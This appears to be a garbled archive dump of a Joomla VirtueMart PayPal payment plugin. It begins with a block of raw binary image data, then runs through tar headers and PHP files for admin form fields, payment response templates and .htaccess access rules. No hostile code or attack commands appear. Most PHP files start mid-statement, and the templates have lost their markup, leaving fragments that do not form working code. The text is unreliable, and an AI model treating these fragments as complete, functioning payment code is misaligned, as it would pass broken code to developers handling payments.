jDC1PꨴLc#mq45V8(&VlɈ0Zj6bh\`y,.f2#v:|wsw?YYYe(sDMÕ:D͸*Yiii\ a0P(&dZ҂:NU -4̉pJC?>t[ ‘SJg-b< H\'kQG̺m`}dk( j%UYdJ),/2kp!Nm^L\{Ldx&Tcهw\P;#)~8r+n3#-Bh] ϭDTT7*SRY[?@,صzn׷᳻+F =$F 5ؑ>1u-8]9zbQJYpy4Z-jך|;l0CG~i]~F/!=Z kte6`7oFss3mۆhlܸNI2ٳgxb_%>}>iPl!''%f{ܹl8yiT:䐑JKK8s L&Bmtwɋ]t5>i-ǎCEE+"^"']'Rre|=iq0s?F0Fk)oFg Aj^/T\GXvܞ6HLL v|aa!{3,Y<۷og]t=lق  33 M~)OЫWf>ׄΣG^iM^n ÝI!tTUUAc^V‰'o:vލٳg e .ۈc.=9G6 gΣ^HL49b"G4W' r4Ew+kBDІqoO7؃zfkg=aĠHlٙYD92ĉى&ZZ J\RR&$$0Kuxx8uKܽ&dg,9 Q! CAin:2'`׿)gm+n5Z5'e9Yb(r{6OWc_Re&ٮE!OՏE^?kxkrHaؿ[X>)X;&#72 BOv߾}PՎKŋ8~89̙3^w^r$&&ԦH466z$O2ԎsF0zTH ɇǦcގ+ػSDkLL=,3e| ?naFKWy?pK9+ϣlx&}CCmzmn(Ύ۶:5<)IEKI t२$" 6[v_?>;MV页j t?7On` Z"15`b*DBdAÕ(ڞ#`E1cy[ڌtC&p$< WJ*h4eh4lR Z_7g2IENDB`assets/images/index.html000066600000000000151374100140011276 0ustar00elements/.htaccess000066600000000177151374100140010163 0ustar00 Order allow,deny Deny from all elements/customjs.php000066600000002342151374100140010741 0ustar00addScript(JURI::root(true).'/plugins/vmpayment/paypal/paypal/assets/js/admin.js'); $doc->addStyleSheet(JURI::root(true).'/plugins/vmpayment/paypal/paypal/assets/css/paypal.css'); return ''; } }elements/duration.php000066600000005115151374100140010720 0ustar00attributes('class') ? $node->attributes('class') : ''); $field_id = uniqid('duration'); $duration_value_id = $field_id.'_value'; $duration_unit_id = $field_id.'_unit'; if ($value) { $duration_parts = explode('-',$value); $duration_value = $duration_parts[0]; $duration_unit = $duration_parts[1]; } $doc = JFactory::getDocument(); $js = " jQuery().ready(function($) { $('#".$duration_value_id."').change(function() { $('#".$control_name . $name."').val($('#".$duration_value_id."').val()+'-'+$('#".$duration_unit_id."').val()); }); $('#".$duration_unit_id."').change(function() { $('#".$control_name . $name."').val($('#".$duration_value_id."').val()+'-'+$('#".$duration_unit_id."').val()); }); });"; $doc->addScriptDeclaration($js ); $options = array(); $options[] = JHTML::_('select.option', 'D', JText::_('VMPAYMENT_PAYPAL_DURATION_D')); $options[] = JHTML::_('select.option', 'W', JText::_('VMPAYMENT_PAYPAL_DURATION_W')); $options[] = JHTML::_('select.option', 'M', JText::_('VMPAYMENT_PAYPAL_DURATION_M')); $options[] = JHTML::_('select.option', 'Y', JText::_('VMPAYMENT_PAYPAL_DURATION_Y')); $html = ''; $html .= JHTML::_ ('select.genericlist', $options, $duration_unit_id, '', 'value', 'text', $duration_unit, $duration_unit_id); $html .= ''; return $html; } }elements/term.php000066600000002550151374100140010042 0ustar00attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $max = ($node->attributes('max') ? intval($node->attributes('max')) : 52); $options = array(); for($i=1; $i<=$max; $i++) { $options[] = JHTML::_('select.option', $i, $i); } return JHTML::_ ('select.genericlist', $options, $control_name . '[' . $name . ']', $class, 'value', 'text', $value, $control_name . $name); } }elements/getcertificate.php000066600000004660151374100140012061 0ustar00load ('com_virtuemart', JPATH_ADMINISTRATOR); // path to images directory $folder = $node->attributes ('directory'); $safePath = VmConfig::get ('forSale_path', ''); $certificatePath=$safePath.$folder; $certificatePath = JPath::clean($certificatePath); $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); // Is the path a folder? if (!is_dir($certificatePath)){ return ''.JText::sprintf ('VMPAYMENT_PAYPAL_CERTIFICATE_FOLDER_NOT_EXIST', $certificatePath).''; } $path = str_replace ('/', DS, $certificatePath); $filter = $node->attributes ('filter'); $exclude = array($node->attributes ('exclude'), '.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'); $pattern = implode ( "|", $exclude); $stripExt = $node->attributes ('stripext'); $files = JFolder::files ($path, $filter, FALSE, FALSE, $exclude); $options = array(); if (is_array ($files)) { foreach ($files as $file) { if ($exclude) { if (preg_match (chr (1) . $pattern . chr (1), $file)) { continue; } } if ($stripExt) { $file = JFile::stripExt ($file); } $options[] = JHTML::_ ('select.option', $file, $file); } } $class .= ' size="5" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"'; return JHTML::_ ('select.genericlist', $options, '' . $control_name . '[' . $name . ']', $class, 'value', 'text', $value, $control_name . $name); } }elements/paypalcreditcards.php000066600000003473151374100140012576 0ustar00load ('plg_vmpayment_paypal', JPATH_ADMINISTRATOR); $creditcards= PaypalHelperPaypal::getPaypalCreditCards(); $prefix = 'VMPAYMENT_PAYPAL_CC_'; $fields = array(); foreach ($creditcards as $creditcard) { $fields[$creditcard]['value'] = $creditcard; $fields[$creditcard]['text'] = JText::_($prefix . strtoupper($fields[$creditcard]['value'])); } $attribs = ' '; $attribs .= ' multiple="multiple"'; $attribs .= ($node->attributes('class') ? ' class="' . $node->attributes('class') . '"' : ''); return JHTML::_('select.genericlist', $fields, $control_name . '[' . $name . '][]', $attribs, 'value', 'text', $value, $control_name . $name); } }elements/index.html000066600000000000151374100140010343 0ustar00tmpl/expcheckout.php000066600000002245151374100140010556 0ustar00
Sandbox () <?php echo $viewData['text']?>
tmpl/index.html000066600000000000151374100140007503 0ustar00tmpl/billingmax.php000066600000002551151374100140010362 0ustar00virtuemart_paymentmethod_id; ?> tmpl/expproduct.php000066600000002560151374100140010431 0ustar00 Sandbox () tmpl/stdresponse.php000066600000003575151374100140010614 0ustar00
order_number;; ?>
mc_gross . ' ' . $payment->mc_currency; ?>
txn_id; ?>

order_number.'&order_pass='.$viewData["order"]['details']['BT']->order_pass, false)?>"> tmpl/creditcardform.php000066600000013332151374100140011223 0ustar00addScript(JURI::root(true).'/plugins/vmpayment/paypal/paypal/assets/js/site.js'); ?> tmpl/apiresponse.php000066600000005015151374100140010562 0ustar00
getHtmlRow('VMPAYMENT_PAYPAL_API_PAYMENT_NAME', $payment_name); if ($viewData['success']) { echo $this->getHtmlRow('COM_VIRTUEMART_ORDER_NUMBER', $viewData["order"]['details']['BT']->order_number); if ($viewData['method']->payment_type == '_xclick-subscriptions' || $viewData['method']->payment_type == '_xclick-payment-plan') { echo $this->getHtmlRow('VMPAYMENT_PAYPAL_PROFILEID', $responseData['PROFILEID']); echo $this->getHtmlRow('VMPAYMENT_PAYPAL_PROFILESTATUS', $responseData['STATUS']); } else { echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_AMOUNT', $responseData['AMT'] . ' ' . $responseData['CURRENCYCODE']); echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_TRANSACTION_ID', $responseData['TRANSACTIONID']); } //echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_AUTHORIZATION_CODE', $responseData['CORRELATIONID']); } else { for ($i = 0; isset($responseData["L_ERRORCODE".$i]); $i++) { echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_ERROR_CODE', $responseData["L_ERRORCODE".$i]); $message = isset($responseData["L_LONGMESSAGE".$i]) ? $responseData["L_LONGMESSAGE".$i]: $responseData["L_SHORTMESSAGE".$i]; echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_ERROR_DESC', $message); } } ?>

order_number.'&order_pass='.$viewData["order"]['details']['BT']->order_pass, false)?>"> tmpl/expresponse.php000066600000004712151374100140010610 0ustar00
getHtmlRow('VMPAYMENT_PAYPAL_API_PAYMENT_NAME', $viewData['payment_name']); if ( $viewData['success']) { echo $this->getHtmlRow('COM_VIRTUEMART_ORDER_NUMBER', $response['invoice']); if ($viewData['method']->payment_type == '_xclick-subscriptions' || $viewData['method']->payment_type == '_xclick-payment-plan') { echo $this->getHtmlRow('VMPAYMENT_PAYPAL_PROFILEID', $response['PROFILEID']); echo $this->getHtmlRow('VMPAYMENT_PAYPAL_PROFILESTATUS', $response['STATUS']); } else { echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_AMOUNT', $response['PAYMENTINFO_0_AMT'] . ' ' . $response['PAYMENTINFO_0_CURRENCYCODE']); echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_TRANSACTION_ID', $response['PAYMENTINFO_0_TRANSACTIONID']); } //echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_AUTHORIZATION_CODE', $response['CORRELATIONID']); } else { for ($i = 0; isset($response["L_ERRORCODE".$i]); $i++) { echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_ERROR_CODE', $response["L_ERRORCODE".$i]); $message = isset($response["L_LONGMESSAGE".$i]) ? $response["L_LONGMESSAGE".$i]: $response["L_SHORTMESSAGE".$i]; echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_ERROR_DESC', $message); } } ?>

order_number.'&order_pass='.$viewData["order"]['details']['BT']->order_pass, false)?>"> tmpl/.htaccess000066600000000177151374100140007323 0ustar00 Order allow,deny Deny from all tmpl/hostediframe.php000066600000001713151374100140010705 0ustar00 tmpl/hostedresponse.php000066600000004411151374100140011276 0ustar00
order_number; ?>
mc_gross . ' ' . $payment->mc_currency; ?>
txn_id; ?>

order_number.'&order_pass='.$viewData["order"]['details']['BT']->order_pass, false)?>">